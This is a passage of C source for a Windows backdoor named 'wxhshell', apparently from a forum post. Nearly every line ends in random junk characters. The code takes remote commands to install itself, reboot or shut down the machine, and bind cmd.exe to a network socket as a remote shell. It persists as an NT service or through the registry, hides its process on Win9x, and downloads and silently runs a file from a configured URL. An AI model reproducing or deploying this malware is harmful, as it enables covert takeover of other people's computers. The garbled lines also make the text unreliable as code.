  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8A2if 9E3  
  } vP3K7En  
  else {  M*d-z  
OOCQsoN  
    switch(cmd[0]) { ;EK(b  
  :fxWz%t  
  // 帮助 >$2E1HW.  
  case '?': { ]UK`?J=t2g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %  2I  
    break; |.1qy,|!X  
  } ]}BB/KQy^  
  // 安装 .|T2\M  
  case 'i': { (l Lu?NpIi  
    if(Install()) ,+~2&>wj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /wr6\53J  
    else Kn']n91m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jyNb(Z  
    break; ;xL67e%?  
    } {5SfE$r  
  // 卸载 / >%L[RJ4  
  case 'r': { Q`N18I3  
    if(Uninstall()) \ 0D$Mie  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >W'j9+Va  
    else iDZrK%f l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }qG#N  
    break; Ru:n~77{  
    } A 6:Q<  
  // 显示 wxhshell 所在路径 h9)RJSF4  
  case 'p': { fVYiwE=F  
    char svExeFile[MAX_PATH]; Z #EvRC  
    strcpy(svExeFile,"\n\r"); 26M~<Ic  
      strcat(svExeFile,ExeFile); RYt6=R+f  
        send(wsh,svExeFile,strlen(svExeFile),0); 8zAg;b [  
    break; [G\o+D?2  
    } ( ]OFS;%  
  // 重启 h77IWo6%  
  case 'b': { yOc|*O=]U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ee8--  
    if(Boot(REBOOT)) i(0hvV>'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9<v}LeX  
    else { pzg&/m&F`  
    closesocket(wsh); ~ Yl<S(/4  
    ExitThread(0); R3?:\d{  
    } AQe!Sqg'  
    break; WKxm9y V  
    } Ih()/(  
  // 关机 LP,9<&"<  
  case 'd': { C%]."R cMC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AeaPK  
    if(Boot(SHUTDOWN)) %[XY67A3I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dnwdFsf  
    else { tn{8u7  
    closesocket(wsh); ?ql2wWsQO  
    ExitThread(0); 6Hwxx5>r  
    } gH'_ymT= 3  
    break; 7G"7wYc>R  
    } EI\v  
  // 获取shell HUkerV  
  case 's': { pqeL%="p;  
    CmdShell(wsh); sQtf,e|p  
    closesocket(wsh); U{}!y3[wK  
    ExitThread(0); \yG`Sfu2  
    break; {`F1u?l  
  } a.DX%C /5  
  // 退出 ZBJ3VK  
  case 'x': { 's.~$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &bLC(e ]  
    CloseIt(wsh); IA2GUnUhu  
    break; ^df x~C  
    } qg4fR' i  
  // 离开 &6/%k kv  
  case 'q': { /EU ; ?O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); AK*N  
    closesocket(wsh); {zP#woz2Q  
    WSACleanup(); > :Ze4}(  
    exit(1); %b =p< h'(  
    break; KDD@%E  
        } e:OyjG5_  
  } \QT9HAdd@  
  } 7~b!4x|Z  
h!e2 +4{4{  
  // 提示信息 IqUp4}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `(DJs-xD  
} =VSkl;(O  
  } ^.vmF>$+I  
6>,# 6{?jl  
  return; o@/xPo|  
} %!y89x=E  
=IHje;s  
// shell模块句柄 2+'|kt2  
int CmdShell(SOCKET sock) 1,`H:%z%  
{ yN\e{;z`  
STARTUPINFO si; #hJQbv=B"  
ZeroMemory(&si,sizeof(si)); 9&K/GaG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P^[/Qi}j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r5 yO5W  
PROCESS_INFORMATION ProcessInfo; |s=`w8p  
char cmdline[]="cmd"; >SDp uG&>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |pW\Ec#(  
  return 0; ;S JF%@x  
} vT7g<  
_]|Qec)  
// 自身启动模式 tZA:  
int StartFromService(void) -(IC~   
{ y ~AmG~  
typedef struct S&?7K-F>_o  
{ i:Y\`J  
  DWORD ExitStatus; }U[-44r:  
  DWORD PebBaseAddress; 9y^/GwUQ  
  DWORD AffinityMask; 6E|S  
  DWORD BasePriority; {QQl$ys/  
  ULONG UniqueProcessId; #$'FSy#  
  ULONG InheritedFromUniqueProcessId; Wx]d $_  
}   PROCESS_BASIC_INFORMATION; |!LnAh  
d ?hz LX  
PROCNTQSIP NtQueryInformationProcess; ZL_[4 Y  
6y  Wc1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (oaYF+T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6sB$<#  
, 2`~ NPb  
  HANDLE             hProcess; H}nJbnU  
  PROCESS_BASIC_INFORMATION pbi; HZZDv+  
nl n OwyMJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #w>~u2W  
  if(NULL == hInst ) return 0; 7[KCWJ  
uGCp#>+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L"vj0@n'0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SW9fE :v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?)i1b\4Go  
it1/3y =]  
  if (!NtQueryInformationProcess) return 0; {1~T]5  
Do*n#=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \##5O7/1  
  if(!hProcess) return 0; &[j]Bp?  
*YvRNHP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pn\V+Rg'  
IR$ (_9z  
  CloseHandle(hProcess); NL!9U,h5|  
NK/4OAt%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wss?|XCI  
if(hProcess==NULL) return 0; SUE ~rb  
Q_O*oT(0  
HMODULE hMod; 4| Ui?.4=  
char procName[255]; 9lspo~M  
unsigned long cbNeeded; Ty+I8e]{  
)`?%]D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V3.t;.@  
zxKCVRJ  
  CloseHandle(hProcess); IOEM[zhb$  
;/sHWI f+Z  
if(strstr(procName,"services")) return 1; // 以服务启动 Cs1>bpY*R6  
=+oZtP-+o  
  return 0; // 注册表启动 ai^|N.!  
} S>f&6ZDNY(  
^oeJKjJ  
// 主模块 *jCW.ZLY  
int StartWxhshell(LPSTR lpCmdLine) o""~jc~  
{ KCtX $XGL  
  SOCKET wsl; &; >4N"]  
BOOL val=TRUE; BSzkW}3q9  
  int port=0; qO()w   
  struct sockaddr_in door; {a "RXa  
&]iKr iG  
  if(wscfg.ws_autoins) Install(); $f-hUOuyo  
li/aN  
port=atoi(lpCmdLine); ^^}Hs-{T  
c K<)$*  
if(port<=0) port=wscfg.ws_port; P))^vUt~  
FFzH!=7T?  
  WSADATA data; rC }}r!!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (vyz;Ob  
!B^K[2`)N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1"]P`SY$r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wahZK~,EaY  
  door.sin_family = AF_INET; rFu ez$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ][:rLs  
  door.sin_port = htons(port); GdA.g w  
/[pqI0sf<A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U^_D|$6  
closesocket(wsl); _gV8aH ZyM  
return 1; hh"-w3+  
} qrBZvJU  
D}{b;Un  
  if(listen(wsl,2) == INVALID_SOCKET) { xsP4\C>  
closesocket(wsl); /A07s[L  
return 1; M-MKk:o  
} A3R#z]Ub  
  Wxhshell(wsl); J^zi2 jtV  
  WSACleanup(); 2{oThef[O  
tT5pggml  
return 0; I}.i@d'O  
S; /. %  
} d3^7ag%  
YfDWM7x7,  
// 以NT服务方式启动 ,XB%\[pKe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kb #^lO  
{ >"d?(@PJ  
DWORD   status = 0; oln<yyDs   
  DWORD   specificError = 0xfffffff; 7%d8D>uw8  
qX6D1X1_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h9CIZU[Nh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; + ^ yq;z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *'8LntZf  
  serviceStatus.dwWin32ExitCode     = 0; <nzN$"%  
  serviceStatus.dwServiceSpecificExitCode = 0; Oh; Jw  
  serviceStatus.dwCheckPoint       = 0; <kc# thL  
  serviceStatus.dwWaitHint       = 0; =G${[V \  
8r:M*25  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \b8\Ug~t  
  if (hServiceStatusHandle==0) return;  .i/m  
ht6244:  
status = GetLastError(); vg\/DbI'  
  if (status!=NO_ERROR) -9+se  
{ Z4q~@|+%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U A-7nb  
    serviceStatus.dwCheckPoint       = 0; pn%#w*'  
    serviceStatus.dwWaitHint       = 0; aV|9H  
    serviceStatus.dwWin32ExitCode     = status; QLo(i  
    serviceStatus.dwServiceSpecificExitCode = specificError; !Q %P%P<$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q{y{rC2P  
    return; q``wt  
  } }[!92WS/ee  
T|){<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6X_\Ve  
  serviceStatus.dwCheckPoint       = 0; rAukHeH  
  serviceStatus.dwWaitHint       = 0; j]5WK_~M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZFxLBb:  
} i[nF.I5*f  
M$S]}   
// 处理NT服务事件,比如:启动、停止 kgW @RD|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !1Y&Y@ze  
{ b"CAKl  
switch(fdwControl) <~"lie1  
{ Poy^RpnX  
case SERVICE_CONTROL_STOP: 7$uJ7`e  
  serviceStatus.dwWin32ExitCode = 0; )K]pnH|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2F+gF~znQ  
  serviceStatus.dwCheckPoint   = 0; w*!wQ,o  
  serviceStatus.dwWaitHint     = 0; ALT^8c&K  
  { nCnjq=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )D@~|j:  
  } w1^QD^KnH  
  return; [r-}bp'Gp  
case SERVICE_CONTROL_PAUSE: ?6N3tk-2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $yb@ Hhx>  
  break; !xK=#pa  
case SERVICE_CONTROL_CONTINUE: eSy(~Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [kB `  
  break; 5ukp^OxE  
case SERVICE_CONTROL_INTERROGATE: WlVl[/qt  
  break; ?J!3j{4e  
}; *yaw$oB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *3+-W  
} ,/2LY4` 5  
`jsEN ;<  
// 标准应用程序主函数 ERz;H!pU8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (-^bj  
{ lj[, |[X7`  
gK1g]Tc@G  
// 获取操作系统版本 !iu5OX7K|  
OsIsNt=GetOsVer(); |+f-h,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P,z:Z| }8  
VLvS$0(}Z  
  // 从命令行安装 >lzA]aM$c  
  if(strpbrk(lpCmdLine,"iI")) Install(); A o/vp-e  
m VxO$A,  
  // 下载执行文件 ZFn(x*L  
if(wscfg.ws_downexe) { 0Y+FRB ]u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ${r[!0|   
  WinExec(wscfg.ws_filenam,SW_HIDE); "IjI'c  
} AHbZQulC  
mOBACTY^  
if(!OsIsNt) { TwahR:T   
// 如果时win9x,隐藏进程并且设置为注册表启动 Dd $qQ  
HideProc(); b>=_*nw9  
StartWxhshell(lpCmdLine); [c&B|h=>  
} v}(6 <wnnS  
else {7"0,2 Hb?  
  if(StartFromService()) jgu*Y{ocm  
  // 以服务方式启动 -"TR\/  
  StartServiceCtrlDispatcher(DispatchTable); pV\YG B+  
else LBlN2)\@  
  // 普通方式启动 6(V /yn ~  
  StartWxhshell(lpCmdLine); IApT'QNM  
>,5i60Q  
return 0; [ !%R#+o=F  
}
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只看该作者 1 发表于: 2006-10-10
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